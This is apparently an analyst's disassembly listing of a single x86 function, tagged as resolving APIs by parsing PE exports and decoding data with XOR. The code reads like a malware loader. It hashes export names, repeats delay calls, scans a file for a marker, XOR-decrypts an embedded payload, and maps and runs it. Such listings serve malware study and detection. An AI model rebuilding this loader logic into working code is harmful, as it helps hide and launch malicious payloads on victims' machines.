Function at 0x10008520
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov dword [ebx + 0x30], 0x100342a8
mov eax, dword [0x100342a8]
mov dword [esp + 0xc], eax
mov eax, dword [0x100342c8]
mov ecx, dword [0x100342d0]
mov dword [esp + 0x18], ecx
mov edx, dword [esp + 4]
mov ecx, dword [edx + 0x3c]
mov ecx, dword [edx + ecx + 0x78]
mov esi, dword [edx + ecx + 0x18]
mov dword [esp + 8], esi
test esi, esi
je 0x100085ff
mov esi, dword [edx + ecx + 0x20]
add esi, edx
mov dword [esp + 0x1c], esi
mov esi, dword [edx + ecx + 0x1c]
add esi, edx
mov dword [esp + 0x14], esi
mov ecx, dword [edx + ecx + 0x24]
add ecx, edx
mov dword [esp + 0x10], ecx
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x1c]
mov edi, dword [ecx + esi*4]
add edi, dword [esp + 4]
mov edx, 0xffffffff
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
cmp byte [edi + edx + 1], 0
lea edx, [edx + 1]
lea ebx, [ebx + 1]
jne 0x100085a6
test edx, edx
je 0x100085e6
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul edx, eax
movsx ebx, byte [edi]
movzx ebx, bx
add edx, ebx
inc edi
dec ecx
jne 0x100085c6
cmp edx, dword [esp + 0x18]
jne 0x100085ee
jmp 0x10008609
xor edx, edx
cmp edx, dword [esp + 0x18]
je 0x10008609
inc esi
cmp esi, dword [esp + 8]
jne 0x10008586
mov dword [esp + 0x18], 0
jmp 0x10008620
mov dword [esp + 0x18], 0
jmp 0x10008624
mov eax, dword [esp + 0x10]
movzx eax, word [eax + esi*2]
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, dword [esp + 4]
mov dword [esp + 0x18], eax
mov ebx, dword [esp + 0x30]
mov byte [esp + 0x3b], 0
mov eax, 0x40000
mov ecx, 0x100342a8
lea edi, [esp + 0x20]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x20], eax
test eax, eax
jne 0x10008651
mov eax, dword [ecx + 0x34]
mov edx, dword [ebx + 0x64]
push eax
push dword [ecx + 8]
call edx
test eax, eax
je 0x100087cd
mov edx, dword [esp + 0x20]
mov esi, eax
mov ecx, eax
call fcn.10008fd6
mov eax, dword [ebx + 0x7c]
push edi
push dword [esp + 0x24]
push esi
push 5
call eax
test eax, eax
je 0x1000868b
mov eax, dword [esp + 0x20]
add eax, eax
mov ecx, dword [ebx + 0x30]
jmp 0x10008646
mov eax, dword [ebx + 0x30]
mov ecx, dword [ebx + 0x64]
push 0xc9
push dword [eax + 8]
call ecx
cmp dword [esi], 0
je 0x100087cd
mov edi, eax
jmp 0x100086ca
mov byte [esp + 0x3b], 1
mov eax, dword [esi]
cmp dword [esi + eax], 0
lea esi, [esi + eax]
je 0x100087cd
cmp dword [esi + 0x3c], 0
je 0x100086bb
mov ecx, edi
mov edx, 0xc9
call fcn.10008fd6
mov dword [esp + 4], esi
mov eax, dword [esi + 0x3c]
mov ecx, 0xfffffe6e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, word [eax + ecx + 0x192]
test dx, dx
je 0x10008710
mov word [edi + ecx + 0x192], dx
add ecx, 2
jne 0x100086f6
mov ecx, 0xffffffff
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, edx
cmp word [edi + ecx*2 + 2], 0
lea ecx, [ecx + 1]
lea edx, [edx + 1]
jne 0x10008726
test ecx, ecx
je 0x10008766
mov ecx, edi
jmp 0x1000874f
mov word [ecx], dx
add ecx, 2
dec eax
je 0x10008766
movzx edx, word [ecx]
lea esi, [edx - 0x41]
cmp si, 0x1a
jae 0x10008746
add edx, 0x20
jmp 0x10008746
mov eax, dword [ebx + 0x30]
mov eax, dword [eax + 0x20]
mov edx, 0xffffffff
xor esi, esi
nop
nop
nop
mov ecx, esi
cmp word [edi + edx*2 + 2], 0
lea edx, [edx + 1]
lea esi, [esi + 1]
jne 0x10008776
test edx, edx
je 0x100087a6
xor edx, edx
mov esi, edi
nop
nop
nop
nop
nop
nop
nop
nop
imul edx, eax
movzx ebx, word [esi]
add edx, ebx
add esi, 2
dec ecx
jne 0x10008796
jmp 0x100087a8
xor edx, edx
mov ebx, dword [esp + 0x30]
mov eax, dword [ebx + 0x30]
cmp edx, dword [eax + 0x48]
mov esi, dword [esp + 4]
je 0x100086b6
mov eax, dword [ebx + 0x30]
cmp edx, dword [eax + 0x58]
je 0x100086b6
jmp 0x100086bb
cmp byte [esp + 0x3b], 0
je 0x1000898c
mov esi, dword [ebx + 0x4c]
lea edi, [esp + 0x20]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov esi, dword [ebx + 0x4c]
mov ecx, edi
mov edx, 8
call fcn.10008fd6
mov dword [esp + 0x20], 0xfd050f80
mov dword [esp + 0x24], 0xffffffff
push edi
push 0
call esi
mov eax, dword [esp + 0xc]
mov esi, dword [eax]
mov edi, dword [eax + 4]
push esi
push 0x40
call dword [esp + 0x48]
mov ebx, eax
mov edx, dword [esp + 0xc]
add edx, 8
mov ecx, eax
push esi
call fcn.10009016
add esp, 4
test esi, esi
je 0x100089c0
xor eax, eax
xor dword [ebx + eax], edi
add eax, 4
cmp eax, esi
jb 0x100089b6
push 0x20a
push 0x40
call dword [esp + 0x48]
mov edi, eax
movzx eax, byte [ebx]
test al, al
je 0x100089e7
xor ecx, ecx
movsx eax, al
mov word [edi + ecx*2], ax
movzx eax, byte [ebx + ecx + 1]
inc ecx
test al, al
jne 0x100089d6
push 0x20a
push 0x40
mov esi, dword [esp + 0x38]
call dword [esi + 0x64]
mov ebx, eax
push 0x105
push eax
push 0
call dword [esi + 0x54]
lea eax, [ebx - 2]
nop
cmp word [eax + 2], 0
lea eax, [eax + 2]
jne 0x10008a06
nop
nop
nop
nop
nop
nop
mov word [eax], 0
cmp word [eax - 2], 0x5c
lea eax, [eax - 2]
jne 0x10008a16
mov edx, ebx
add edx, 0xfffffffe
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp word [edx + 2], 0
lea edx, [edx + 2]
jne 0x10008a36
xor ecx, ecx
cmp word [edx - 2], 0x5c
je 0x10008a54
mov word [edx], 0x5c
mov ecx, 1
test edi, edi
je 0x10008a87
movzx esi, word [edi]
test si, si
mov dword [esp + 4], ecx
je 0x10008a8c
lea ecx, [edx + ecx*2]
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + edx*2], si
movzx esi, word [edi + edx*2 + 2]
inc edx
test si, si
jne 0x10008a76
jmp 0x10008a8e
inc eax
mov edx, eax
jmp 0x10008a94
xor edx, edx
add edx, dword [esp + 4]
add edx, eax
mov word [ebx + edx*2], 0
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push ebx
mov esi, dword [esp + 0x4c]
call dword [esi + 0x44]
cmp eax, 0xffffffff
je 0x10008cec
mov edi, eax
push 0
push eax
call dword [esi + 0x6c]
test eax, eax
je 0x10008ce8
lea ecx, [eax + 1]
push ecx
push 0x40
mov ebx, eax
call dword [esi + 0x64]
mov ecx, esi
mov esi, eax
push 0
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x10], ebx
push ebx
push esi
push edi
mov ebx, ecx
call dword [ecx + 0x70]
mov dword [esp + 4], eax
push edi
mov edi, ebx
call dword [ebx + 0x68]
cmp dword [esp + 4], 0
je 0x10008cec
mov edx, dword [edi + 0x30]
add edx, 0x44
lea ecx, [esp + 0x20]
push 4
call fcn.10009016
add esp, 4
mov edx, dword [edi + 0x30]
add edx, 0x10
lea ecx, [esp + 0x24]
push 4
call fcn.10009016
add esp, 4
mov edx, dword [esp + 8]
lea eax, [edx - 8]
cmp eax, 8
je 0x10008cec
lea ecx, [edx + esi]
mov dword [esp + 0x48], ecx
lea ecx, [edx + esi - 9]
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x10], 0
xor ebx, ebx
mov dword [esp + 0x44], 0
mov dword [esp + 0xc], 0
movzx ecx, byte [esp + 0x20]
movzx edx, byte [esp + 0x21]
mov ch, byte [esp + 0x22]
mov dh, byte [esp + 0x23]
mov byte [esp + 4], dh
mov dh, byte [esp + 0x24]
mov byte [esp + 8], dh
mov dh, byte [esp + 0x25]
mov byte [esp + 0x1c], dh
mov dh, byte [esp + 0x26]
mov byte [esp + 0x14], dh
mov dh, byte [esp + 0x27]
mov byte [esp + 0x34], dh
add eax, 0xfffffff8
xor edi, edi
jmp 0x10008baf
inc edi
cmp eax, edi
je 0x10008cf4
cmp byte [esi + edi + 1], cl
je 0x10008bba
cmp cl, 0x3f
jne 0x10008ba6
cmp byte [esi + edi + 2], dl
je 0x10008bc5
cmp dl, 0x3f
jne 0x10008ba6
cmp byte [esi + edi + 3], ch
je 0x10008bd0
cmp ch, 0x3f
jne 0x10008ba6
mov dh, byte [esp + 4]
cmp byte [esi + edi + 4], dh
je 0x10008be1
cmp byte [esp + 4], 0x3f
jne 0x10008ba6
mov dh, byte [esp + 8]
cmp byte [esi + edi + 5], dh
je 0x10008bf2
cmp byte [esp + 8], 0x3f
jne 0x10008ba6
mov dh, byte [esp + 0x1c]
cmp byte [esi + edi + 6], dh
je 0x10008c03
cmp byte [esp + 0x1c], 0x3f
jne 0x10008ba6
mov dh, byte [esp + 0x14]
cmp byte [esi + edi + 7], dh
je 0x10008c14
cmp byte [esp + 0x14], 0x3f
jne 0x10008ba6
mov dh, byte [esp + 0x34]
cmp byte [esi + edi + 8], dh
je 0x10008c25
cmp byte [esp + 0x34], 0x3f
jne 0x10008ba6
mov edx, ebx
mov ebx, dword [esi + edi + 1]
mov eax, dword [esi + edi + 9]
mov ecx, dword [esp + 0x30]
mov ecx, dword [ecx + 0x30]
cmp eax, dword [ecx + 0x1c]
lea eax, [esi + edi + 9]
mov dword [esp + 4], eax
bswap ebx
jne 0x10008c7b
test edx, edx
jne 0x10008c7b
mov eax, dword [esi + edi + 0x11]
add eax, 0x10
mov dword [esp + 0x44], eax
push eax
push 0x40
mov eax, dword [esp + 0x38]
call dword [eax + 0x64]
mov dword [esp + 0x3c], eax
mov ecx, eax
mov edx, dword [esp + 4]
push ebx
call fcn.10009016
mov edx, dword [esp + 8]
add esp, 4
add dword [esp + 0x10], ebx
jmp 0x10008cc1
test edx, edx
je 0x10008cb5
mov ecx, dword [esp + 0x10]
lea eax, [ebx + ecx]
mov dword [esp + 8], eax
cmp eax, dword [esp + 0x44]
ja 0x10008fb3
mov dword [esp + 0x3c], edx
add ecx, edx
mov edx, dword [esp + 4]
push ebx
call fcn.10009016
add esp, 4
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov dword [esp + 0x10], eax
jmp 0x10008cc1
mov dword [esp + 0x3c], 0
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 0x4c]
sub eax, esi
sub eax, edi
mov ecx, dword [esp + 0x48]
sub ecx, esi
add ecx, 0xffffffef
cmp ecx, edi
lea esi, [esi + edi + 1]
mov dword [esp + 0xc], edx
mov ebx, dword [esp + 0x3c]
jne 0x10008b65
jmp 0x10008cf8
push edi
call dword [esi + 0x68]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, dword [esp + 0xc]
test ebx, ebx
mov ecx, edx
je 0x10008cec
mov dword [esp + 0x3c], ebx
mov esi, ebx
lea esi, [ebx + 0x10]
mov eax, dword [ecx + 8]
and eax, 0xfffffffc
je 0x10008d20
mov ecx, dword [ecx + 4]
xor edx, edx
nop
nop
xor dword [esi + edx], ecx
add edx, 4
cmp edx, eax
jb 0x10008d16
cmp dword [esp + 0x10], 0
mov edi, dword [esp + 0x30]
je 0x10008cec
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax + 8]
mov dword [esp + 4], ecx
mov ebx, dword [eax + 0xc]
push ebx
push 0x40
call dword [edi + 0x64]
mov ecx, eax
mov dword [esp + 0x20], 0
lea eax, [esp + 0x20]
push eax
push dword [esp + 8]
push esi
mov esi, ecx
push ebx
push ecx
push 2
call dword [edi + 0x3c]
test eax, eax
jne 0x10008cec
mov eax, 0xffffffff
nop
cmp byte [esi + eax + 0x91], 0
lea eax, [eax + 1]
jne 0x10008d66
test eax, eax
mov ecx, 0
jne 0x10008d82
mov ecx, dword [esi + 0x160]
add ecx, esi
mov edi, dword [esi + 8]
mov edx, dword [0x100342c8]
mov eax, dword [0x100342ac]
mov dword [esp + 8], eax
mov eax, dword [edi + ecx + 0x12c1]
mov dword [esp + 0x1c], eax
test eax, eax
mov dword [esp + 0x14], esi
je 0x10008e2e
lea eax, [edi + ecx + 0x12c1]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x34], edi
lea ecx, [edi + ecx + 0x14bb]
xor eax, eax
mov dword [esp + 0x48], ecx
mov esi, 0xffffffff
xor edi, edi
nop
nop
mov ebx, edi
cmp byte [ecx + esi + 1], 0
lea esi, [esi + 1]
lea edi, [edi + 1]
jne 0x10008dd6
mov dword [esp + 4], eax
xor edi, edi
test esi, esi
je 0x10008e05
mov esi, ecx
nop
nop
nop
nop
nop
imul edi, edx
movsx eax, byte [esi]
movzx eax, ax
add edi, eax
invalid
inc esi
dec ebx
jne 0x10008df6
cmp edi, dword [esp + 8]
je 0x10008e40
mov eax, dword [esp + 4]
inc eax
add ecx, 0x8a
cmp eax, dword [esp + 0x1c]
jne 0x10008dcd
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
jmp 0x10008e66
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
jmp 0x10008e72
imul eax, dword [esp + 4], 0x8a
mov edx, dword [esp + 0x48]
mov ecx, dword [edx + eax + 0x86]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0xc]
add ecx, dword [edx + eax + 0x82]
mov dword [esp + 0xc], ecx
mov esi, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov edi, dword [esp + 0x34]
lea eax, [edi + ecx + 0x3dd]
mov dword [esp + 4], eax
push 0x20a
push 0x40
call dword [esp + 0x48]
mov ebx, eax
mov ecx, esi
add ecx, 0xf4
mov edx, eax
call fcn.10009066
mov eax, 0xffffffff
mov ecx, ebx
nop
nop
nop
nop
nop
nop
inc eax
cmp word [ecx], 0
lea ecx, [ecx + 2]
jne 0x10008ea6
lea edi, [ecx + 2]
nop
nop
nop
mov esi, ecx
add edi, 0xfffffffe
cmp word [ebx + eax*2], 0x5c
lea eax, [eax - 1]
lea ecx, [ecx - 2]
jne 0x10008eb6
push 0x20a
push 0x40
mov ebx, dword [esp + 0x38]
call dword [ebx + 0x64]
mov ecx, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + ecx*2 + 2], 0
lea ecx, [ecx + 1]
jne 0x10008ee6
test ecx, ecx
je 0x10008f15
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, word [esi]
mov word [eax + edx*2], di
inc edx
add esi, 2
cmp ecx, edx
jne 0x10008f06
push eax
call dword [ebx + 0x34]
mov esi, eax
mov eax, dword [eax + 0x3c]
add esi, dword [esi + eax + 0x2c]
mov edi, dword [esp + 8]
push edi
push 0x40
call dword [esp + 0x48]
mov ebx, eax
mov ecx, eax
mov edx, esi
push edi
call fcn.10009016
add esp, 4
mov eax, dword [esp + 4]
mov dword [eax + 0xcc0], ebx
mov dword [eax + 0xcc4], 0
mov dword [esp + 0x58], 0
lea eax, [esp + 0x58]
push eax
push dword [0x100342b0]
push edi
push esi
mov ebx, dword [esp + 0x28]
call ebx
mov ecx, esi
mov edx, dword [esp + 0xc]
push edi
call fcn.10009016
add esp, 4
lea eax, [esp + 0x58]
push eax
push dword [esp + 0x5c]
push edi
push esi
call ebx
mov eax, dword [0x100342b0]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], edi
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x40]
push dword [esp + 0xc]
push dword [esp + 0x20]
call esi
add esp, 0x10
jmp 0x10008cec
mov eax, dword [esp + 0x44]
sub eax, ecx
mov ebx, edx
add ecx, edx
lea edx, [esi + edi + 9]
push eax
call fcn.10009016
add esp, 4
mov ecx, dword [esp + 0xc]
jmp 0x10008cfe